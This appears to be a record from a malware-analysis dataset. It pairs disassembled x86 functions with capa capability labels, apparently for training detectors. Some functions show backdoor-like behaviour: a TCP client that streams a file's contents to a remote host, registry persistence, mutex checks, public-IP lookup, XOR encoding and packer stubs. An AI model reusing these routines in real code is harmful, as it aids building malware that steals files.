joyce8/EMBER2024-capa huggingface dataset:
Function at 0x13154200
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library
Read and send data from client to server
Read file on windows
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xeec
mov eax, dword [0x131e90f0]
xor eax, esp
mov dword [esp + 0xee8], eax
push ebx
push esi
push edi
lea eax, [esp + 0x160]
mov edi, ecx
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov eax, 2
push 0x13bfd944
mov word [esp + 0x14], ax
call fcn.131a85ab
add esp, 4
push eax
call dword [sym.imp.WS2_32.dll_htons]
push 6
push 1
push 2
mov word [esp + 0x1e], ax
call dword [sym.imp.WS2_32.dll_socket]
mov ecx, dword [0x131fd62c]
mov dword [0x13c26834], eax
mov dword [esp + 0x14], ecx
test ecx, ecx
je 0x131543e1
push 0x10
lea ecx, [esp + 0x14]
push ecx
push eax
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x131543b5
lea eax, [esp + 0x20]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
je 0x131543b5
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
push 0
push 0x80
push 3
push 0
push 1
push closesocket
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push edi
mov dword [0x131fd424], eax
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameA]
mov dl, byte [eax]
lea eax, [eax + 1]
test dl, dl
jne 0x131542d0
mov ecx, edi
call fcn.13146e50
push eax
push str._0099
push 0x13c24ed0
lea eax, [esp + 0xafc]
push str._s__s__d_
push eax
call fcn.13141a40
mov ecx, dword [0x13c26834]
lea edx, [esp + 0xb04]
add esp, 0x14
call fcn.13145790
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x7d0
call esi
mov edi, dword [sym.imp.KERNEL32.dll_ReadFile]
mov ebx, dword [sym.imp.WS2_32.dll_send]
nop dword [eax + eax]
push 0x800
lea eax, [esp + 0x2f4]
push 0
push eax
call fcn.1319ba80
add esp, 0xc
lea eax, [esp + 0xc]
push 0
push eax
push 0x800
lea eax, [esp + 0x2fc]
push eax
push dword [0x131fd424]
call edi
push 0
push dword [esp + 0x10]
lea eax, [esp + 0x2f8]
push eax
push dword [0x13c26834]
call ebx
push 0x800
lea eax, [esp + 0x2f4]
push 0
push eax
call fcn.1319ba80
add esp, 0xc
push 1
call esi
cmp dword [esp + 0xc], 0x800
je 0x13154330
push 0x800
lea eax, [esp + 0x2f4]
push 0
push eax
call fcn.1319ba80
add esp, 0xc
push 2
push dword [0x13c26834]
call dword [sym.imp.WS2_32.dll_shutdown]
push dword [0x13c26834]
call dword [sym.imp.WS2_32.dll_closesocket]
push dword [0x131fd424]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov ecx, dword [esp + 0xef4]
xor eax, eax
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.13198da3
mov esp, ebp
pop ebp
ret
Function at 0x131550d0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xd5c
mov eax, dword [0x131e90f0]
xor eax, esp
mov dword [esp + 0xd58], eax
push ebx
push esi
push edi
push 0x200
lea eax, [esp + 0x364]
mov dword [esp + 0x1c], 0x200
push 0
push eax
call fcn.1319ba80
add esp, 0xc
lea eax, [esp + 0x160]
push 0x200
push 0
push eax
call fcn.1319ba80
add esp, 0xc
lea eax, [esp + 0x560]
push 0x200
push 0
push eax
call fcn.1319ba80
add esp, 0xc
lea eax, [esp + 0xb60]
push 0x200
push 0
push eax
call fcn.1319ba80
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
lea eax, [esp + 0x1c]
add esp, 0xc
push eax
push str.SOFTWARE
push closesocket
call edi
test eax, eax
jne 0x131551ab
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0x164]
push eax
push 0
push 0
push 0x13c25680
push dword [esp + 0x24]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x131551ab
xor ecx, ecx
mov al, byte [esp + ecx + 0x160]
lea ecx, [ecx + 1]
mov byte [esp + ecx + 0x35f], al
test al, al
jne 0x13155192
mov bl, 1
jmp 0x131551ad
xor bl, bl
push dword [esp + 0x10]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call esi
cmp bl, 1
jne 0x131552dd
lea eax, [esp + 0x360]
push eax
lea eax, [esp + 0x564]
push str._sfile_shellopencommand
push eax
call fcn.13141a40
add esp, 0xc
lea eax, [esp + 0x160]
push 0x200
push 0
push eax
call fcn.1319ba80
add esp, 0xc
lea eax, [esp + 0x10]
push eax
lea eax, [esp + 0x564]
push eax
push closesocket
call edi
test eax, eax
je 0x13155215
xor bl, bl
jmp 0x131552d7
push 0x200
lea eax, [esp + 0x764]
mov dword [esp + 0x20], 0x200
push 0
push eax
call fcn.1319ba80
add esp, 0xc
lea eax, [esp + 0x960]
push 0x200
push 0
push eax
call fcn.1319ba80
add esp, 0xc
lea eax, [esp + 0x14]
push eax
push str.SOFTWARE
push closesocket
call edi
test eax, eax
jne 0x131552c9
lea eax, [esp + 0x1c]
push eax
lea eax, [esp + 0x764]
push eax
push 0
push 0
push 0x131fd6b8
push dword [esp + 0x28]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x131552c9
lea eax, [esp + 0x760]
push eax
push 0x13c27540
lea eax, [esp + 0x968]
push 0x131da70c
push eax
call fcn.13141a40
add esp, 0x10
lea eax, [esp + 0x20]
push eax
lea eax, [esp + 0x964]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
je 0x131552c9
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov bl, 1
jmp 0x131552cb
xor bl, bl
push dword [esp + 0x14]
call esi
cmp bl, 1
sete bl
push dword [esp + 0x10]
call esi
lea eax, [esp + 0x360]
mov ecx, str.1__s_
push eax
cmp bl, 1
mov eax, str.0__s_
cmove eax, ecx
push eax
lea eax, [esp + 0xb68]
push eax
call fcn.13141a40
mov ecx, dword [esp + 0xd70]
lea eax, [esp + 0xb6c]
add esp, 0xc
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.13198da3
mov esp, ebp
pop ebp
ret
Function at 0x131554a0
Capabilities:
Connect socket
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1ac
mov eax, dword [0x131e90f0]
xor eax, esp
mov dword [esp + 0x1a8], eax
push ebx
push esi
push edi
lea eax, [esp + 0x20]
mov edi, edx
push eax
push 0x202
mov ebx, ecx
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x13155544
push eax
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
je 0x13155544
push ebx
call dword [sym.imp.WS2_32.dll_gethostbyname]
movsx ecx, word [eax + 0xa]
push ecx
mov ecx, dword [eax + 0xc]
lea eax, [esp + 0x18]
push dword [ecx]
push eax
call fcn.1319b500
add esp, 0xc
mov eax, 2
mov word [esp + 0x10], ax
push edi
call dword [sym.imp.WS2_32.dll_htons]
mov word [esp + 0x12], ax
lea eax, [esp + 0x10]
push 0x10
push eax
push esi
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
jne 0x13155544
mov eax, esi
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x1a8]
xor ecx, esp
call fcn.13198da3
mov esp, ebp
pop ebp
ret
mov ecx, dword [esp + 0x1b4]
xor eax, eax
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.13198da3
mov esp, ebp
pop ebp
ret

Function at 0x13155560
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x808
mov eax, dword [0x131e90f0]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
lea eax, [ebp - 0x808]
mov dword [ebp - 0x808], 0
push eax
mov esi, ecx
mov edi, edx
push 0x4004667f
push esi
call dword [sym.imp.WS2_32.dll_ioctlsocket]
cmp eax, 0xffffffff
je 0x131555ee
cmp dword [ebp - 0x808], 0
je 0x13155600
push 0x800
lea eax, [ebp - 0x804]
push 0
push eax
call fcn.1319ba80
add esp, 0xc
lea eax, [ebp - 0x804]
push 0
push 0x800
push eax
push esi
call dword [sym.imp.WS2_32.dll_recv]
mov dword [ebp - 0x808], eax
test eax, eax
je 0x131555ee
push 0
push eax
lea eax, [ebp - 0x804]
push eax
push edi
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jg 0x13155608
pop edi
xor eax, eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.13198da3
mov esp, ebp
pop ebp
ret
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 4]
mov eax, 1
pop edi
xor ecx, ebp
pop esi
call fcn.13198da3
mov esp, ebp
pop ebp
ret

Function at 0x131558d0
Capabilities:
Create thread

Disassembly:
push ebx
push esi
push edi
push 0x108
mov ebx, edx
mov edi, ecx
call fcn.131a89ce
mov esi, eax
add esp, 4
test esi, esi
je 0x13155919
test edi, edi
je 0x13155919
push edi
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0
push 0
push esi
push 0x13155830
push 0
push 0
mov dword [esi + 0x104], ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop edi
pop esi
mov eax, 1
pop ebx
ret
push esi
call fcn.131a857c
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebx
ret
Function at 0x13155990
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
lea eax, [ebp - 8]
push esi
push eax
lea eax, [ebp - 4]
mov esi, ecx
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push 0x13bfd748
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x131559c3
sub ecx, edx
lea eax, [ecx + 1]
push eax
push esi
push 1
push 0
push 0x13c25c40
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x13155a00
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
mov eax, dword [0x131e90f0]
xor eax, ebp
mov dword [ebp - 4], eax
lea eax, [ebp - 0x20c]
mov dword [ebp - 0x208], 0x200
push eax
push 0x13bfd748
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x13155a65
lea eax, [ebp - 0x208]
push eax
lea eax, [ebp - 0x204]
push eax
push 0
push 0
push 0x13c25c40
push dword [ebp - 0x20c]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
lea eax, [ebp - 0x204]
je 0x13155a6a
mov eax, 0x131ef168
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.13198da3
mov esp, ebp
pop ebp
ret

Function at 0x13155d00
Capabilities:
Capture public ip
Create http request
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x131c3c20
mov eax, dword fs:[0]
push eax
sub esp, 0x410
mov eax, dword [0x131e90f0]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov edi, ecx
mov dword [ebp - 0x41c], edi
push 0
push 0
push 0
push 0
push 0
mov dword [ebp - 0x418], edi
mov dword [ebp - 4], 0
call dword [sym.imp.WININET.dll_InternetOpenA]
push 0
push closesocket
push 0
push 0
mov ebx, eax
push str.https:__api.ipify.org_
push ebx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov esi, eax
lea eax, [ebp - 0x41c]
push eax
push 0x400
lea eax, [ebp - 0x414]
push eax
push esi
call dword [sym.imp.WININET.dll_InternetReadFile]
mov eax, dword [ebp - 0x41c]
cmp eax, 0x400
jae 0x13155e37
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
mov byte [ebp + eax - 0x414], 0
call esi
push ebx
call esi
lea ecx, [ebp - 0x414]
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0xf
lea edx, [ecx + 1]
mov byte [edi], 0
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x13155dd0
sub ecx, edx
lea eax, [ebp - 0x414]
push ecx
push eax
mov ecx, edi
call fcn.13161f40
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.13198da3
mov esp, ebp
pop ebp
ret
call fcn.13198ee6
int3
Function at 0x1315d260
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Set registry value
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x554
mov eax, dword [0x131e90f0]
xor eax, esp
mov dword [esp + 0x550], eax
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
push str.kernel32.dll
call esi
push str.urlmon.dll
call esi
push str.user32.dll
call esi
push str.shell32.dll
call esi
push str.avicap32.dll
call esi
push str.ws2_32.dll
call esi
push str.wsock32.dll
call esi
push str.advapi32.dll
call esi
push str.wininet.dll
call esi
push str.shdocvw.dll
call esi
push str.Shlwapi.dll
call esi
push str.mpr.dll
call esi
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x2710
call edi
push 0x13c25700
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
push 0x3e8
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x1315d30e
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
lea eax, [esp + 0x15c]
push 0x131da720
push eax
call fcn.13141a40
add esp, 0xc
lea eax, [esp + 0x14]
push eax
lea eax, [esp + 0x14]
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push 0x13bfd748
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
lea ecx, [esp + 0x158]
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1315d360
sub ecx, edx
lea eax, [ecx + 1]
push eax
lea eax, [esp + 0x15c]
push eax
push 1
push 0
push 0x131da708
push dword [esp + 0x24]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [esp + 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ebx, dword [sym.imp.KERNEL32.dll_FindFirstFileA]
xor esi, esi
nop word [eax + eax]
cmp byte [0x131eec9a], 1
jne 0x1315d3bb
mov ecx, dword [0x13bfd53c]
call fcn.13165b70
mov byte [0x131eec9a], 0
lea eax, [esp + 0x18]
push eax
push 0x131fbed0
call ebx
cmp eax, 0xffffffff
je 0x1315d407
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
xor edx, edx
mov ecx, 0x131fbed0
call fcn.1314ae80
cmp al, 1
jne 0x1315d405
mov ecx, dword [0x13c26558]
call fcn.131656c0
mov dword [0x13bfd53c], eax
test eax, eax
jne 0x1315d41b
xor ecx, ecx
call fcn.13165b70
mov byte [0x131eec9a], 0
xor esi, esi
push 0x1388
call edi
test esi, esi
je 0x1315d3a0
push 0x493e0
call edi
jmp 0x1315d412
mov edx, str.Init
mov ecx, eax
call fcn.13165ae0
mov dword [0x131fcab8], eax
test eax, eax
je 0x1315d3fe
push 0x131ef100
push 0x131eef08
push 0x131ef168
push 0x13bfd944
push 0x131fc710
push 0x13c26160
push 0x13c24ed0
lea eax, [esp + 0x374]
mov byte [0x131eec9a], 1
push str._s_s_s_s_s_s_s
push eax
call fcn.13141a40
add esp, 0x24
lea eax, [esp + 0x358]
push 0x131da79c
push eax
push 0x13bfd548
push 0x13bfd748
push 0x13c25ef0
push 0x131fe670
push 0x13c26ab8
call dword [0x131fcab8]
mov esi, 1
jmp 0x1315d407
Function at 0x13165c60
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov dword [ebp - 8], edx
lea eax, [ebx + 1]
mov dword [ebp - 4], ecx
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov edi, eax
xor esi, esi
mov byte [edi + ebx], 0
test ebx, ebx
je 0x13165cbb
sub dword [ebp - 4], edi
nop dword [eax]
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, eax
xor edx, edx
mov eax, esi
div ecx
mov eax, dword [ebp - 8]
mov cl, byte [edx + eax]
lea edx, [esi + edi]
mov eax, dword [ebp - 4]
inc esi
mov al, byte [eax + edx]
xor al, cl
mov byte [edx], al
cmp esi, ebx
jb 0x13165c90
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x131b7789
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.131b7608

Function at 0x131bab1c
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.131ba7dc
Function at 0x401508
Capabilities:
Create process on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x25c
push esi
push edi
push 0x11
xor eax, eax
pop ecx
lea edi, [ebp - 0x54]
rep stosd dword es:[edi], eax
lea edi, [ebp - 0x10]
mov dword [ebp - 0x54], 0x44
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x25c]
mov dword [ebp - 0x28], 1
push eax
push 0x104
mov word [ebp - 0x24], 5
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [ebp - 0x25c]
push eax
call esi
xor edi, edi
cmp word [ebp + eax*2 - 0x25e], 0x5c
jne 0x401577
lea eax, [ebp - 0x25c]
push eax
call esi
mov word [ebp + eax*2 - 0x25e], di
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x54]
push eax
push edi
push edi
push edi
push edi
push edi
push edi
lea eax, [ebp - 0x25c]
push edi
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
call dword [sym.imp.KERNEL32.dll_GetLastError]
sub eax, 5
pop edi
neg eax
sbb eax, eax
pop esi
inc eax
leave
ret

Function at 0x4015a5
Capabilities:
Read file on windows

Disassembly:
push esi
push 0x403064
push dword [esp + 0xc]
call dword [sym.imp.MSVCRT.dll__wfopen]
mov esi, eax
pop ecx
test esi, esi
pop ecx
jne 0x4015bf
pop esi
ret
push edi
push 0
push 0x4a1deb
push esi
call dword [sym.imp.MSVCRT.dll_fseek]
mov edi, dword [esp + 0x1c]
push 0xc
pop ecx
xor eax, eax
push esi
push 0x30
rep stosd dword es:[edi], eax
push 1
pop edi
push edi
push dword [esp + 0x28]
call dword [sym.imp.MSVCRT.dll_fread]
add esp, 0x1c
cmp eax, 0x30
je 0x4015f4
xor edi, edi
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
pop ecx
mov eax, edi
pop edi
pop esi
ret

Function at 0x401601
Capabilities:
Read file on windows

Disassembly:
push ebx
push esi
mov esi, dword [esp + 0x14]
push edi
push esi
call dword [sym.imp.MSVCRT.dll_malloc]
mov ecx, esi
mov ebx, eax
mov edx, ecx
xor eax, eax
mov edi, ebx
push 0
push dword [esp + 0x1c]
shr ecx, 2
push dword [esp + 0x1c]
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
call dword [sym.imp.MSVCRT.dll_fseek]
add esp, 0x10
cmp eax, 0xffffffff
je 0x401652
push dword [esp + 0x10]
push esi
push 1
push ebx
call dword [sym.imp.MSVCRT.dll_fread]
add esp, 0x10
cmp eax, esi
je 0x40165e
push ebx
call dword [sym.imp.MSVCRT.dll_free]
pop ecx
xor eax, eax
jmp 0x401660
mov eax, ebx
pop edi
pop esi
pop ebx
ret
Function at 0x61e952be
Capabilities:
Reference sql statements

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
mov edi, ecx
mov esi, eax
mov ebx, edx
sub esp, 0x2c
mov dword [esp + 0x14], ecx
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], str.sqlite_master
mov dword [esp + 8], edx
mov dword [esp + 4], str.SELECT_1_FROM___w_._s_WHERE_name_NOT_LIKE_sqlite____AND_sql_NOT_LIKE_create_virtual___AND_sqlite_rename_test__Q__sql__type__name___d_NULL
mov dword [esp], eax
call sym._sqlite3NestedParse
test edi, edi
jne 0x61e95311
mov dword [esp + 0xc], ebx
mov dword [esp + 8], str.sqlite_master
mov dword [esp + 4], str.SELECT_1_FROM_temp._s_WHERE_name_NOT_LIKE_sqlite____AND_sql_NOT_LIKE_create_virtual___AND_sqlite_rename_test__Q__sql__type__name__1_NULL
mov dword [esp], esi
call sym._sqlite3NestedParse
add esp, 0x2c
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43300c
nop
nop
pop eax
nop
nop
nop
add eax, 0x40a063
nop
sub eax, 0x40a009
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
jl 0x433030
nop
nop
add eax, 0xc
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43301e
nop
nop
nop
nop
nop
nop
nop
popal
jmp 0x431219
Function at 0x428ff7
Capabilities:
Encode data using xor

Disassembly:
xor dword [0x418777], 0x538b4635
sub dword [0x418961], 0x42f274cb
imul eax
mov eax, 0x5bd961e6
movsx edi, byte [0x418643]
mov edx, 0x16
mov dword [0x4189e5], 0x78e75635
sub esi, 0x3202e7cd
sub edi, 0xffffffb7
sar ecx, 1
shl dword [0x4188ad], 2
adc word [edx*2 + 0x418aae], ax
xor ecx, eax
movsx ebx, dx
and dword [0x41891e], 0x69a73f15
movsx ecx, al
or dword [0x41878c], 0xffffffe8
not dword [0x418856]
movzx edi, ax
push edx
pop dword [edx + 0x418809]
imul ecx, eax, 0x26072257
inc dword [0x4188d8]
dec edx
jne 0x42901e
movsx edx, word [0x418974]
ret

Function at 0x42ccdf
Capabilities:
Packed with generic packer

Disassembly:
pushal
sar edx, 2
add bl, byte [0x41884a]
imul ecx, dword [0x418a1f]
add dword [0x418969], 0x61b356cd
shld dword [0x41878a], eax, 0x16
or esi, 0xffffffc8
add ebx, eax
shld dword [0x418834], eax, 0x17
add ebx, eax
shld eax, edx, 0x18
push dword [0x418a6a]
push dword [0x4189bf]
movzx edx, byte [0x41865d]
push dword [0x418884]
call fcn.00429d8a
not ebx
sub dword [0x418767], 0x65f1b794
add esi, 0xd60f52c
sub word [0x418873], 0x751c
movzx eax, word [0x41878b]
sub dword [0x418718], 0x22a79140
or dword [0x418990], 0x5040d177
and edi, edx
and ah, al
ror di, 6
sub edi, edx
not dword [0x4187f1]
rcr eax, 0xe
movsx edx, word [0x4187e9]
adc dword [0x4188b2], eax
xor byte [0x418779], 0xd6
je 0x42cdf4
dec edi
sub edx, 0x62
mov edi, 0x418742
movsx eax, word [0x418934]
movzx ecx, word [0x4187e1]
mov ch, byte [edi]
sar dword [edi], 1
push eax
pop dword [edi]
add ecx, eax
ror dword [0x4189b9], 5
dec ebx
movsx ebx, dx
imul ecx, edx, 0x7f3c0faf
mov esi, 0x418871
or dword [esi], edx
and ax, dx
sete byte [esi]
mul edx
btc dword [0x4189ee], 2
push dword [0x418a87]
call fcn.00417dc8
mov eax, 0x44538d26
sar dword [0x4187d5], 1
btc eax, 0x1e
popal
ret
Function at 0x854750
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x40c000]
push edi
or ebp, 0xffffffff
jmp 0x854772
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x854779
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x854768
mov eax, 1
add ebx, ebx
jne 0x85478b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x85479c
jne 0x8547bb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x8547bb
dec eax
add ebx, ebx
jne 0x8547a8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x854780
add ebx, ebx
jne 0x8547b7
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x85480d
xor ecx, ecx
sub eax, 3
jb 0x8547d3
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x854842
sar eax, 1
mov ebp, eax
jmp 0x8547de
add ebx, ebx
jne 0x8547de
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x8547ac
inc ecx
add ebx, ebx
jne 0x8547ec
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x8547ac
add ebx, ebx
jne 0x8547f9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x8547ee
jne 0x85480a
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x8547ee
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x85482c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x85481e
jmp 0x85476e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x85482c
add edi, ecx
jmp 0x85476e
pop esi
mov edi, esi
mov ecx, 0x152
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x85484a
cmp byte [edi], 0xd
jne 0x85484a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x85484f
lea edi, [esi + 0x452000]
mov eax, dword [edi]
or eax, eax
je 0x8548c7
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x455358]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x4553f4]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x85487c
mov ecx, edi
jns 0x8548ab
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x4553fc]
or eax, eax
je 0x8548c1
mov dword [ebx], eax
add ebx, 4
jmp 0x854899
call dword [esi + 0x4553f8]
mov ebp, dword [esi + 0x455400]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x20f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x8548fb
sub esp, 0xffffff80
jmp 0x464c06